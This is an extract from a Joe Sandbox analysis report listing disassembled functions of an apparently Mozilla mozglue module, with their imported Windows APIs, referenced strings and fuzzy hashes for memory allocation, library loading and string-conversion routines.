Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: ac18af9ed8b3e26e4b2f20b4175d01c773913d7ef7064b885cf8727f8660e486
Instruction ID: cf72aa9fbce3d04e205fb067fbe1396f053f7ae472a144420bbd42bb48df7aac
Opcode Fuzzy Hash: ac18af9ed8b3e26e4b2f20b4175d01c773913d7ef7064b885cf8727f8660e486
Instruction Fuzzy Hash: FD21FB317016029BCA188BE88D54EDA73BAFB46765F05852CD805E7F80CB71B9C686B5

Function 6CABA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CADF770,-00000001,?,6CACE330,?,6CA7BDF7), ref: 6CABA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6CA7BDF7), ref: 6CABA7C2
moz_xmalloc.MOZGLUE(00000018,?,6CA7BDF7), ref: 6CABA7E4
LeaveCriticalSection.KERNEL32(6CADF770), ref: 6CABA80A

Strings

accelerator.dll, xrefs: 6CABA7BF

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: e01bf38e96ba263dc12015cf594b4310903b7a2cf59f62a02572b2b7a8f8dc86
Instruction ID: 9065a46580155b6aab083a5e290a3a02cd11e3b82d5278f714458e0c55f7fd11
Opcode Fuzzy Hash: e01bf38e96ba263dc12015cf594b4310903b7a2cf59f62a02572b2b7a8f8dc86
Instruction Fuzzy Hash: 64018BB17043059FDB08DF9ADC84C92B7B9FB8A315709806EE819CB741DB70AC85CBA1

Function 6CA5F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6CA5EE51,?), ref: 6CA5F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6CA5F0C2

Strings

Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6CA5F0DC
ole32, xrefs: 6CA5F0AD
Could not find CoTaskMemFree, xrefs: 6CA5F0E3

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 2f47561f20d76403b7dde042f07eb9d71556fe0d1056666be2032c7629ab7a07
Instruction ID: c3d818134d57df60c284bd027bc4027b2b87dca96e6667f6b7c5dcf2fa6fda40
Opcode Fuzzy Hash: 2f47561f20d76403b7dde042f07eb9d71556fe0d1056666be2032c7629ab7a07
Instruction Fuzzy Hash: 90E012707453039FEF085A66AC1862737B96B16619358C52DB612D1E40FE31F491C661

Function 6CA90080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CA67204), ref: 6CA90088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6CA900A7
FreeLibrary.KERNEL32(?,6CA67204), ref: 6CA900BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6CA900A1
wintrust.dll, xrefs: 6CA90083

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 62f5913d8d52e19703c492778b4f966428b7ee966deba9d3cc1b3e8541a975c2
Instruction ID: 2578d5495a818b1700d952b954bea099af1baa97c6a65aeafee07ab6e22769b1
Opcode Fuzzy Hash: 62f5913d8d52e19703c492778b4f966428b7ee966deba9d3cc1b3e8541a975c2
Instruction Fuzzy Hash: E1E01A74200343ABDF086F65AC0D70A3AF8BB0B385F04C119E950C2640DB74F0C2DB12

Function 6CA900D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CA67235), ref: 6CA900D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6CA900F7
FreeLibrary.KERNEL32(?,6CA67235), ref: 6CA9010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6CA900F1
wintrust.dll, xrefs: 6CA900D3

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: bb45c994f660eb800e3c7833a2a320c3fcf4526344498433f4fc2a34eb160d41
Instruction ID: 264f8da74f01652928885783cb1494880e5d4a6a196f0b80ed47ddd4889514f7
Opcode Fuzzy Hash: bb45c994f660eb800e3c7833a2a320c3fcf4526344498433f4fc2a34eb160d41
Instruction Fuzzy Hash: 96E04F742813079BEF085F65DD0E72A3AF8A707245F24C019A94982640DF70F0C2CB12

Function 6CABC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CABC0E9), ref: 6CABC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CABC437
FreeLibrary.KERNEL32(?,6CABC0E9), ref: 6CABC44C

Strings

ntdll.dll, xrefs: 6CABC413
NtQueryVirtualMemory, xrefs: 6CABC431

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: acc524a5b79c67a49962fef9b3b0102ef3cd48290ba8264f21720d97e884d979
Instruction ID: 37ce16f12956fbeb5ca7489a874455ea1560458fbc34ad2fb4e2ff42149f103c
Opcode Fuzzy Hash: acc524a5b79c67a49962fef9b3b0102ef3cd48290ba8264f21720d97e884d979
Instruction Fuzzy Hash: 05E09270601303ABEF086B71DD0CB1B7AF8B706609F08C61AAA0492650EFB0E1828B52

Function 6CAB75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CAB748B,?), ref: 6CAB75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CAB75D7
FreeLibrary.KERNEL32(?,6CAB748B,?), ref: 6CAB75EC

Strings

RtlNtStatusToDosError, xrefs: 6CAB75D1
ntdll.dll, xrefs: 6CAB75B3

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: fb3ad7a27d9ef7d8d632020ebd77a9cade95d28643729b3908eba86f7bde68b4
Instruction ID: ca4b0a292a2ea6e4701cf98a7f4f4b24ceb803f99ec4f2cc8fc217eee21c1101
Opcode Fuzzy Hash: fb3ad7a27d9ef7d8d632020ebd77a9cade95d28643729b3908eba86f7bde68b4
Instruction Fuzzy Hash: D4E09A71600303ABEB085BA1DD487827AF8EB06215F14C529AD25E6640DFB0B083CF20

Function 6CAB7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CAB7592), ref: 6CAB7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CAB7627
FreeLibrary.KERNEL32(?,6CAB7592), ref: 6CAB763C

Strings

ntdll.dll, xrefs: 6CAB7603
NtUnmapViewOfSection, xrefs: 6CAB7621

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: a22de8cb17c9df2eb402a0ad8b7d34a69fd2a98f04065ea366bcc75ed729727d
Instruction ID: c40afd3d32cb8e1230377c453a182d27540cc8f55bc7c9c2f1c3bd82d6348968
Opcode Fuzzy Hash: a22de8cb17c9df2eb402a0ad8b7d34a69fd2a98f04065ea366bcc75ed729727d
Instruction Fuzzy Hash: D0E0BF70600343ABDF085FA5DC087827AB8FB16359F04C619ED15E2B40EFB0B0428F24

Function 6CABBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CABBE49), ref: 6CABBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CABBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CABBE49), ref: 6CABBF38
RtlReAllocateHeap.NTDLL ref: 6CABBF83
RtlFreeHeap.NTDLL(6CABBE49,00000000), ref: 6CABBFA6

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 27d0d9860211d72c2b1003f5e9ef71bda80e8d5fce139f461fea1495c7414982
Instruction ID: 752ed8288bec9599728491be3c9ecb36c50ac25f5651a466bf5aabaef2885498
Opcode Fuzzy Hash: 27d0d9860211d72c2b1003f5e9ef71bda80e8d5fce139f461fea1495c7414982
Instruction Fuzzy Hash: 68518E71B002058FE714DF69DDC0BAAB7AAFF88314F298629D515A7B54D730F9868B80

Function 6CAA8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CA9B58D,?,?,?,?,?,?,?,6CACD734,?,?,?,6CACD734), ref: 6CAA8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CA9B58D,?,?,?,?,?,?,?,6CACD734,?,?,?,6CACD734), ref: 6CAA8EBF
free.MOZGLUE(?,?,?,?,6CA9B58D,?,?,?,?,?,?,?,6CACD734,?,?,?), ref: 6CAA8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CA9B58D,?,?,?,?,?,?,?,6CACD734,?,?,?,6CACD734), ref: 6CAA8F46
free.MOZGLUE(?,?,?,?,6CA9B58D,?,?,?,?,?,?,?,6CACD734,?,?,?), ref: 6CAA8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CA9B58D,?,?,?,?,?,?,?,6CACD734,?,?,?), ref: 6CAA8F8F

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: f508304902491179f416a645e4ad8f35513c227b13deb18092402c1d153f083c
Instruction ID: 4a81434f2124009c1fceb638d763939154d253fc2fa9791f548fbf673f976883
Opcode Fuzzy Hash: f508304902491179f416a645e4ad8f35513c227b13deb18092402c1d153f083c
Instruction Fuzzy Hash: C251B4B5A012568FEB14CF98D88076EB7B2FF48318F19052AD916EB740E731F946CB91

Function 6CA660E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CA65FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA660F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6CA65FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA66180
free.MOZGLUE(?,?,?,?,6CA65FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA66211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6CA65FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CA66229
free.MOZGLUE(?,?,?,?,6CA65FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA6625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA65FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CA66271

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b362fab34a5b0362f101ca24360218972fbd59d71b958f4ef4aaaea5feac7dfd
Instruction ID: 13f971e9d8f0a2589b21853ad4605eadba875fbb612abdd41d2561aeeef84320
Opcode Fuzzy Hash: b362fab34a5b0362f101ca24360218972fbd59d71b958f4ef4aaaea5feac7dfd
Instruction Fuzzy Hash: C8519DB1A002068FEB14CF6AD8807AEB7B5EF45308F24453DC616D7B51E731AA99CB51

Function 6CAA27E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CAA2620,?,?,?,6CA960AA,6CA95FCB,6CA979A3), ref: 6CAA284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CAA2620,?,?,?,6CA960AA,6CA95FCB,6CA979A3), ref: 6CAA289A
free.MOZGLUE(?,?,?,6CAA2620,?,?,?,6CA960AA,6CA95FCB,6CA979A3), ref: 6CAA28F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CAA2620,?,?,?,6CA960AA,6CA95FCB,6CA979A3), ref: 6CAA2910
free.MOZGLUE(00000001,?,?,6CAA2620,?,?,?,6CA960AA,6CA95FCB,6CA979A3), ref: 6CAA293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6CAA2620,?,?,?,6CA960AA,6CA95FCB,6CA979A3), ref: 6CAA294E

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: dce49e344f95f9a1737f4861ed9d0d314d9b0759fb916674df862f5298c5bf96
Instruction ID: 2227696eed6b0e62d6b74bd042f8403ae0268d8cf25210c9b33b7661526d234e
Opcode Fuzzy Hash: dce49e344f95f9a1737f4861ed9d0d314d9b0759fb916674df862f5298c5bf96
Instruction Fuzzy Hash: 0141E4B1A003068FEB14CFE9D88836A73F5AB45708F140639D55AEB740E731E956CB55

Function 6CA5CFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CADE784), ref: 6CA5CFF6
LeaveCriticalSection.KERNEL32(6CADE784), ref: 6CA5D026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6CA5D06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6CA5D139

Strings

MOZ_CRASH(), xrefs: 6CA5D187

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 5ae4dd8e046a206d49ae54483d1a4f1dfd1df1559a96ea6711aa8a0700f0b761
Instruction ID: 18946f793e874dcae6d9bdbf23c2936bd2d719b08341dce7a945fca47e9a70c6
Opcode Fuzzy Hash: 5ae4dd8e046a206d49ae54483d1a4f1dfd1df1559a96ea6711aa8a0700f0b761
Instruction Fuzzy Hash: 3841DF71F013124FCB48CE7C8D943AAB6B0EB49714F548239EA19E7784D7B1AC928BC0

Function 6CA54DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA54E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA54E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA54EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA54F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CA54F1E

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 6e0d3b4c21a1f480e9aba0e66dccb56df8b48651ebf65b536b578442d9b5626a
Instruction ID: 4df8305286ef9097250157cfee490e45b3f69bf4f4d626d90b750e395728d521
Opcode Fuzzy Hash: 6e0d3b4c21a1f480e9aba0e66dccb56df8b48651ebf65b536b578442d9b5626a
Instruction Fuzzy Hash: F441AC716087019FC705CF29C88099BB7F4BF89344F54CA2DF96697641DB31E9A8CB91

Function 6CABA820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CADF770), ref: 6CABA858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CABA87B

Part of subcall function 6CABA9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6CABA88F,00000000), ref: 6CABA9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6CABA8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CABA90C
LeaveCriticalSection.KERNEL32(6CADF770), ref: 6CABA97E

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 42402045a889b90993675eb6dedec87414ef7e68c37394187076ffcdcc69535e
Instruction ID: 587a0f9d459ac1902527f8818cb145743a68fa45ac7afb845e7ddbacab5efd84
Opcode Fuzzy Hash: 42402045a889b90993675eb6dedec87414ef7e68c37394187076ffcdcc69535e
Instruction Fuzzy Hash: 4641A4B4E002099FDB00DFE8D845BDEBB75FF04324F148619E826AB791D731A985CB91

Function 6CA61530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CA6152B,?,?,?,?,6CA61248,?), ref: 6CA6159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CA6152B,?,?,?,?,6CA61248,?), ref: 6CA615BC
moz_xmalloc.MOZGLUE(-00000001,?,6CA6152B,?,?,?,?,6CA61248,?), ref: 6CA615E7
free.MOZGLUE(?,?,?,?,?,?,6CA6152B,?,?,?,?,6CA61248,?), ref: 6CA61606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CA6152B,?,?,?,?,6CA61248,?), ref: 6CA61637

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086205878.000000006CADE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086265445.000000006CAE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca50000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 170b706d11757a3ba30e41478a7e9a52199016b0e60812612123710ebbf2c3a5
Instruction ID: 06d866d30dc4077f83fdef916a759e6b136aa95d52cb7dca44544cca6615c223
Opcode Fuzzy Hash: 170b706d11757a3ba30e41478a7e9a52199016b0e60812612123710ebbf2c3a5
Instruction Fuzzy Hash: 4E310A75A001048BCB188E7ED9514BEBBE5FB813647280B2DE523DBFD4EB30D9948792

Function 6CABAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CACE330,?,6CA7C059), ref: 6CABAD9D

Part of subcall function 6CA6CA10: malloc.MOZGLUE(?), ref: 6CA6CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CACE330,?,6CA7C059), ref: 6CABADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CACE330,?,6CA7C059), ref: 6CABAE01
GetLastError.KERNEL32(?,00000000,?,?,6CACE330,?,6CA7C059), ref: 6CABAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CACE330,?,6CA7C059), ref: 6CABAE3D

Memory Dump Source

Source File: 00000000.00000002.2085968181.000000006CA51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA50000, based on PE: true

Associated: 00000000.00000002.2085902233.000000006CA50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2086124562.000000006CACD000.00000002.00000001.01000000.0000000A.sdmpDownload File
